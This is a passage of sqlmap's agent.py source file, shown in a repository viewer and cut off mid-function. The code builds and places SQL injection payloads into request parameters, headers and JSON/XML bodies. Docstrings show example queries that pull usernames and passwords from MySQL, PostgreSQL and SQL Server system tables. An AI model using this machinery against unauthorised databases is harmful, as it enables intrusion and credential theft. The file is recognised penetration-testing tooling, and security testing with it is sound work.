Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/core/agent.py
3553 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import re
9
10
from lib.core.common import Backend
11
from lib.core.common import extractRegexResult
12
from lib.core.common import filterNone
13
from lib.core.common import getSQLSnippet
14
from lib.core.common import getTechnique
15
from lib.core.common import getTechniqueData
16
from lib.core.common import hashDBRetrieve
17
from lib.core.common import isDBMSVersionAtLeast
18
from lib.core.common import isNumber
19
from lib.core.common import isTechniqueAvailable
20
from lib.core.common import randomInt
21
from lib.core.common import randomStr
22
from lib.core.common import safeSQLIdentificatorNaming
23
from lib.core.common import safeStringFormat
24
from lib.core.common import singleTimeWarnMessage
25
from lib.core.common import splitFields
26
from lib.core.common import unArrayizeValue
27
from lib.core.common import urlencode
28
from lib.core.common import zeroDepthSearch
29
from lib.core.compat import xrange
30
from lib.core.convert import encodeBase64
31
from lib.core.convert import getUnicode
32
from lib.core.data import conf
33
from lib.core.data import kb
34
from lib.core.data import queries
35
from lib.core.dicts import DUMP_DATA_PREPROCESS
36
from lib.core.dicts import FROM_DUMMY_TABLE
37
from lib.core.enums import DBMS
38
from lib.core.enums import FORK
39
from lib.core.enums import HASHDB_KEYS
40
from lib.core.enums import HTTP_HEADER
41
from lib.core.enums import PAYLOAD
42
from lib.core.enums import PLACE
43
from lib.core.enums import POST_HINT
44
from lib.core.exception import SqlmapNoneDataException
45
from lib.core.settings import BOUNDED_BASE64_MARKER
46
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
47
from lib.core.settings import BOUNDED_INJECTION_MARKER
48
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
49
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
50
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
51
from lib.core.settings import GENERIC_SQL_COMMENT
52
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
53
from lib.core.settings import INFERENCE_MARKER
54
from lib.core.settings import NULL
55
from lib.core.settings import PAYLOAD_DELIMITER
56
from lib.core.settings import REPLACEMENT_MARKER
57
from lib.core.settings import SINGLE_QUOTE_MARKER
58
from lib.core.settings import SLEEP_TIME_MARKER
59
from lib.core.settings import UNICODE_ENCODING
60
from lib.core.unescaper import unescaper
61
from thirdparty import six
62
63
class Agent(object):
64
"""
65
This class defines the SQL agent methods.
66
"""
67
68
def payloadDirect(self, query):
69
query = self.cleanupPayload(query)
70
71
if query.upper().startswith("AND "):
72
query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
73
elif query.upper().startswith(" UNION ALL "):
74
query = re.sub(r"(?i) UNION ALL ", "", query, 1)
75
elif query.startswith("; "):
76
query = query.replace("; ", "", 1)
77
78
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
79
_, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
80
for field in fieldsToCastStr.split(','):
81
query = query.replace(field, self.nullAndCastField(field))
82
83
if kb.tamperFunctions:
84
for function in kb.tamperFunctions:
85
query = function(payload=query)
86
87
return query
88
89
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
90
"""
91
This method replaces the affected parameter with the SQL
92
injection statement to request
93
"""
94
95
if conf.direct:
96
return self.payloadDirect(newValue)
97
98
retVal = ""
99
100
if kb.forceWhere:
101
where = kb.forceWhere
102
elif where is None and isTechniqueAvailable(getTechnique()):
103
where = getTechniqueData().where
104
105
if kb.injection.place is not None:
106
place = kb.injection.place
107
108
if kb.injection.parameter is not None:
109
parameter = kb.injection.parameter
110
111
paramString = conf.parameters[place]
112
paramDict = conf.paramDict[place]
113
origValue = getUnicode(paramDict[parameter])
114
newValue = getUnicode(newValue) if newValue else newValue
115
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
116
117
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
118
paramString = origValue
119
if place == PLACE.URI:
120
origValue = origValue.split(kb.customInjectionMark)[0]
121
else:
122
try:
123
origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
124
except IndexError:
125
pass
126
origValue = origValue[origValue.rfind('/') + 1:]
127
for char in ('?', '=', ':', ',', '&'):
128
if char in origValue:
129
origValue = origValue[origValue.rfind(char) + 1:]
130
elif place == PLACE.CUSTOM_POST:
131
paramString = origValue
132
origValue = origValue.split(kb.customInjectionMark)[0]
133
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
134
origValue = re.split(r"['\">]", origValue)[-1]
135
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
136
match = re.search(r"['\"]", origValue)
137
quote = match.group(0) if match else '"'
138
origValue = extractRegexResult(r"%s\s*:\s*(?P<result>\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P<result>[^%s]*)\Z" % quote, origValue)
139
else:
140
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
141
origValue = _.split('=', 1)[1] if '=' in _ else _
142
elif place == PLACE.CUSTOM_HEADER:
143
paramString = origValue
144
origValue = origValue[origValue.find(',') + 1:]
145
origValue = origValue.split(kb.customInjectionMark)[0]
146
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
147
if match:
148
origValue = match.group("value")
149
elif ',' in paramString:
150
header = paramString.split(',')[0]
151
152
if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
153
origValue = origValue.split(' ')[-1].split(':')[-1]
154
155
origValue = origValue or ""
156
157
if value is None:
158
if where == PAYLOAD.WHERE.ORIGINAL:
159
value = origValue
160
elif where == PAYLOAD.WHERE.NEGATIVE:
161
if conf.invalidLogical:
162
match = re.search(r"\A[^ ]+", newValue)
163
newValue = newValue[len(match.group() if match else ""):]
164
_ = randomInt(2)
165
value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
166
elif conf.invalidBignum:
167
value = randomInt(6)
168
elif conf.invalidString:
169
value = randomStr(6)
170
else:
171
if newValue.startswith("-"):
172
value = ""
173
else:
174
value = "-%s" % randomInt()
175
elif where == PAYLOAD.WHERE.REPLACE:
176
value = ""
177
else:
178
value = origValue
179
180
newValue = "%s%s" % (value, newValue)
181
182
newValue = self.cleanupPayload(newValue, origValue) or ""
183
184
if base64Encoding:
185
_newValue = newValue
186
_origValue = origValue
187
188
if newValue:
189
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
190
newValue = self.adjustLateValues(newValue)
191
192
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5488
193
if kb.customInjectionMark in origValue:
194
payload = newValue.replace(origValue, "")
195
newValue = origValue.replace(kb.customInjectionMark, payload)
196
197
# TODO: support for POST_HINT
198
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
199
200
if parameter in kb.base64Originals:
201
origValue = kb.base64Originals[parameter]
202
else:
203
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
204
205
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
206
_ = "%s%s" % (origValue, kb.customInjectionMark)
207
208
if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
209
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
210
elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
211
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
212
else:
213
newValue = self.addPayloadDelimiters(newValue)
214
215
if newValue:
216
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
217
retVal = paramString.replace(_, newValue)
218
219
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
220
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
221
if base64Encoding:
222
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
223
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
224
if match:
225
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
226
else:
227
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
228
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
229
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
230
else:
231
def _(pattern, repl, string):
232
retVal = string
233
match = None
234
235
for match in re.finditer(pattern, string or ""):
236
pass
237
238
if match:
239
while True:
240
_ = re.search(r"\\g<([^>]+)>", repl)
241
if _:
242
try:
243
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
244
except IndexError:
245
break
246
else:
247
break
248
retVal = string[:match.start()] + repl + string[match.end():]
249
return retVal
250
251
if origValue:
252
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
253
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
254
else:
255
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
256
257
if retVal == paramString and urlencode(parameter) != parameter:
258
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
259
260
if retVal:
261
retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
262
263
return retVal
264
265
def prefixQuery(self, expression, prefix=None, where=None, clause=None):
266
"""
267
This method defines how the input expression has to be escaped
268
to perform the injection depending on the injection type
269
identified as valid
270
"""
271
272
if conf.direct:
273
return self.payloadDirect(expression)
274
275
if expression is None:
276
return None
277
278
expression = self.cleanupPayload(expression)
279
expression = unescaper.escape(expression)
280
query = None
281
282
if where is None and getTechnique() is not None and getTechnique() in kb.injection.data:
283
where = getTechniqueData().where
284
285
# If we are replacing (<where>) the parameter original value with
286
# our payload do not prepend with the prefix
287
if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
288
query = ""
289
290
# If the technique is stacked queries (<stype>) do not put a space
291
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
292
elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
293
query = kb.injection.prefix
294
elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
295
query = kb.injection.prefix
296
elif clause == [2, 3] or clause == [2] or clause == [3]:
297
query = prefix
298
299
# In any other case prepend with the full prefix
300
else:
301
query = kb.injection.prefix or prefix or ""
302
303
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
304
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
305
306
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
307
query += " "
308
309
query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
310
311
return query
312
313
def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
314
"""
315
This method appends the DBMS comment to the
316
SQL injection request
317
"""
318
319
if conf.direct:
320
return self.payloadDirect(expression)
321
322
if expression is None:
323
return None
324
325
expression = self.cleanupPayload(expression)
326
327
# Take default values if None
328
suffix = kb.injection.suffix if kb.injection and suffix is None else suffix
329
330
if getTechnique() is not None and getTechnique() in kb.injection.data:
331
where = getTechniqueData().where if where is None else where
332
comment = getTechniqueData().comment if comment is None else comment
333
334
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
335
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
336
comment = queries[Backend.getIdentifiedDbms()].comment.query
337
338
if comment is not None:
339
expression += comment
340
341
# If we are replacing (<where>) the parameter original value with
342
# our payload do not append the suffix
343
if where == PAYLOAD.WHERE.REPLACE and not conf.suffix:
344
pass
345
346
elif suffix and not comment:
347
if re.search(r"\w\Z", expression) and re.search(r"\A\w", suffix):
348
expression += " "
349
350
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
351
352
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
353
354
def cleanupPayload(self, payload, origValue=None):
355
if not isinstance(payload, six.string_types):
356
return
357
358
replacements = {
359
"[DELIMITER_START]": kb.chars.start,
360
"[DELIMITER_STOP]": kb.chars.stop,
361
"[AT_REPLACE]": kb.chars.at,
362
"[SPACE_REPLACE]": kb.chars.space,
363
"[DOLLAR_REPLACE]": kb.chars.dollar,
364
"[HASH_REPLACE]": kb.chars.hash_,
365
"[GENERIC_SQL_COMMENT]": GENERIC_SQL_COMMENT
366
}
367
368
for value in re.findall(r"\[[A-Z_]+\]", payload):
369
if value in replacements:
370
payload = payload.replace(value, replacements[value])
371
372
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
373
payload = payload.replace(_, str(randomInt()))
374
375
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
376
payload = payload.replace(_, randomStr())
377
378
if origValue is not None:
379
origValue = getUnicode(origValue)
380
381
if "[ORIGVALUE]" in payload:
382
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
383
if "[ORIGINAL]" in payload:
384
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
385
386
if INFERENCE_MARKER in payload:
387
if Backend.getIdentifiedDbms() is not None:
388
inference = queries[Backend.getIdentifiedDbms()].inference
389
390
if "dbms_version" in inference:
391
if isDBMSVersionAtLeast(inference.dbms_version):
392
inferenceQuery = inference.query
393
else:
394
inferenceQuery = inference.query2
395
else:
396
inferenceQuery = inference.query
397
398
payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
399
400
elif not kb.testMode:
401
errMsg = "invalid usage of inference payload without "
402
errMsg += "knowledge of underlying DBMS"
403
raise SqlmapNoneDataException(errMsg)
404
405
return payload
406
407
def adjustLateValues(self, payload):
408
"""
409
Returns payload with a replaced late tags (e.g. SLEEPTIME)
410
"""
411
412
if payload:
413
for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
414
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
415
payload = payload.replace(match.group(0), _)
416
417
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
418
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
419
420
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
421
payload = payload.replace(_, str(randomInt()))
422
423
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
424
payload = payload.replace(_, randomStr())
425
426
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
427
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
428
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
429
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
430
elif hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.DM8,):
431
payload = re.sub(r"(?i)\bSUBSTRC\(", "SUBSTR(", payload)
432
if "SYS.USER$" in payload:
433
payload = re.sub(r"(?i)\bSYS.USER\$", "DBA_USERS", payload)
434
payload = re.sub(r"(?i)\bNAME\b", "USERNAME", payload)
435
436
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057
437
match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload)
438
if match:
439
payload = payload.replace(match.group(0), "%s%s%s" % (match.group(1), match.group(2).upper(), "".join("3%s" % _ for _ in match.group(3))))
440
441
return payload
442
443
def getComment(self, request):
444
"""
445
Returns comment form for the given request
446
"""
447
448
return request.comment if "comment" in request else ""
449
450
def hexConvertField(self, field):
451
"""
452
Returns hex converted field string
453
"""
454
455
rootQuery = queries[Backend.getIdentifiedDbms()]
456
hexField = field
457
458
if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
459
hexField = rootQuery.hex.query % field
460
else:
461
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
462
singleTimeWarnMessage(warnMsg)
463
464
return hexField
465
466
def nullAndCastField(self, field):
467
"""
468
Take in input a field string and return its processed nulled and
469
casted field string.
470
471
Examples:
472
473
MySQL input: VERSION()
474
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
475
MySQL scope: VERSION()
476
477
PostgreSQL input: VERSION()
478
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
479
PostgreSQL scope: VERSION()
480
481
Oracle input: banner
482
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
483
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
484
485
Microsoft SQL Server input: @@VERSION
486
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
487
Microsoft SQL Server scope: @@VERSION
488
489
@param field: field string to be processed
490
@type field: C{str}
491
492
@return: field string nulled and casted
493
@rtype: C{str}
494
"""
495
496
match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
497
if match:
498
field, suffix = match.groups()
499
else:
500
suffix = ""
501
502
nulledCastedField = field
503
504
if field and Backend.getIdentifiedDbms():
505
rootQuery = queries[Backend.getIdentifiedDbms()]
506
507
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL):
508
nulledCastedField = field
509
else:
510
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
511
nulledCastedField = rootQuery.cast.query % field
512
513
if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
514
pass
515
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
516
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
517
else:
518
nulledCastedField = rootQuery.isnull.query % nulledCastedField
519
520
kb.binaryField = conf.binaryFields and field in conf.binaryFields
521
if conf.hexConvert or kb.binaryField:
522
nulledCastedField = self.hexConvertField(nulledCastedField)
523
524
if suffix:
525
nulledCastedField += suffix
526
527
if not kb.nchar:
528
nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
529
530
return nulledCastedField
531
532
def nullCastConcatFields(self, fields):
533
"""
534
Take in input a sequence of fields string and return its processed
535
nulled, casted and concatenated fields string.
536
537
Examples:
538
539
MySQL input: user,password
540
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
541
MySQL scope: SELECT user, password FROM mysql.user
542
543
PostgreSQL input: usename,passwd
544
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
545
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
546
547
Oracle input: COLUMN_NAME,DATA_TYPE
548
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
549
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
550
551
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
552
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
553
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
554
555
@param fields: fields string to be processed
556
@type fields: C{str}
557
558
@return: fields string nulled, casted and concatened
559
@rtype: C{str}
560
"""
561
562
if not Backend.getIdentifiedDbms():
563
return fields
564
565
if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
566
nulledCastedConcatFields = fields
567
else:
568
fieldsSplitted = splitFields(fields)
569
dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
570
nulledCastedFields = []
571
572
for field in fieldsSplitted:
573
field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
574
nulledCastedFields.append(self.nullAndCastField(field))
575
576
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
577
nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields)
578
579
return nulledCastedConcatFields
580
581
def getFields(self, query):
582
"""
583
Take in input a query string and return its fields (columns) and
584
more details.
585
586
Example:
587
588
Input: SELECT user, password FROM mysql.user
589
Output: user,password
590
591
@param query: query to be processed
592
@type query: C{str}
593
594
@return: query fields (columns) and more details
595
@rtype: C{str}
596
"""
597
598
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
599
fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
600
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
601
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
602
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
603
fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I)
604
fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I)
605
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
606
fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I)
607
fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
608
fieldsNoSelect = query
609
610
_ = zeroDepthSearch(query, " FROM ")
611
if not _:
612
fieldsSelectFrom = None
613
614
if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I):
615
fieldsMinMaxstr = None
616
617
fieldsToCastStr = fieldsNoSelect
618
619
if fieldsSubstr:
620
fieldsToCastStr = query
621
elif fieldsMinMaxstr:
622
fieldsToCastStr = fieldsMinMaxstr.group(1)
623
elif fieldsExists:
624
if fieldsSelect:
625
fieldsToCastStr = fieldsSelect.group(1)
626
elif fieldsSelectTop:
627
fieldsToCastStr = fieldsSelectTop.group(2)
628
elif fieldsSelectRownum:
629
fieldsToCastStr = fieldsSelectRownum.group(1)
630
elif fieldsSelectDistinct:
631
if Backend.getDbms() in (DBMS.HSQLDB,):
632
fieldsToCastStr = fieldsNoSelect
633
else:
634
fieldsToCastStr = fieldsSelectDistinct.group(1)
635
elif fieldsSelectCase:
636
fieldsToCastStr = fieldsSelectCase.group(1)
637
elif fieldsSelectFrom:
638
fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
639
fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
640
elif fieldsSelect:
641
fieldsToCastStr = fieldsSelect.group(1)
642
643
fieldsToCastStr = fieldsToCastStr or ""
644
645
# Function
646
if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
647
fieldsToCastList = [fieldsToCastStr]
648
else:
649
fieldsToCastList = splitFields(fieldsToCastStr)
650
651
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
652
653
def simpleConcatenate(self, first, second):
654
rootQuery = queries[Backend.getIdentifiedDbms()]
655
return rootQuery.concatenate.query % (first, second)
656
657
def preprocessField(self, table, field):
658
"""
659
Does a field preprocessing (if needed) based on its type (e.g. image to text)
660
Note: used primarily in dumping of custom tables
661
"""
662
663
retVal = field
664
if conf.db and table and conf.db in table:
665
table = table.split(conf.db)[-1].strip('.')
666
try:
667
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)]
668
for name, type_ in columns.items():
669
if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field:
670
retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name
671
break
672
except KeyError:
673
pass
674
return retVal
675
676
def concatQuery(self, query, unpack=True):
677
"""
678
Take in input a query string and return its processed nulled,
679
casted and concatenated query string.
680
681
Examples:
682
683
MySQL input: SELECT user, password FROM mysql.user
684
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
685
686
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
687
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
688
689
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
690
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
691
692
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
693
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
694
695
@param query: query string to be processed
696
@type query: C{str}
697
698
@return: query string nulled, casted and concatenated
699
@rtype: C{str}
700
"""
701
702
if unpack:
703
concatenatedQuery = ""
704
query = query.replace(", ", ',')
705
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
706
castedFields = self.nullCastConcatFields(fieldsToCastStr)
707
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
708
else:
709
return query
710
711
if Backend.isDbms(DBMS.MYSQL):
712
if fieldsExists:
713
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
714
concatenatedQuery += ",'%s')" % kb.chars.stop
715
elif fieldsSelectCase:
716
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
717
concatenatedQuery += ",'%s')" % kb.chars.stop
718
elif fieldsSelectFrom:
719
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
720
concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
721
elif fieldsSelect:
722
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
723
concatenatedQuery += ",'%s')" % kb.chars.stop
724
elif fieldsNoSelect:
725
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
726
727
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
728
if fieldsExists:
729
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
730
concatenatedQuery += "||'%s'" % kb.chars.stop
731
elif fieldsSelectCase:
732
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
733
concatenatedQuery += ")||'%s'" % kb.chars.stop
734
elif fieldsSelectFrom:
735
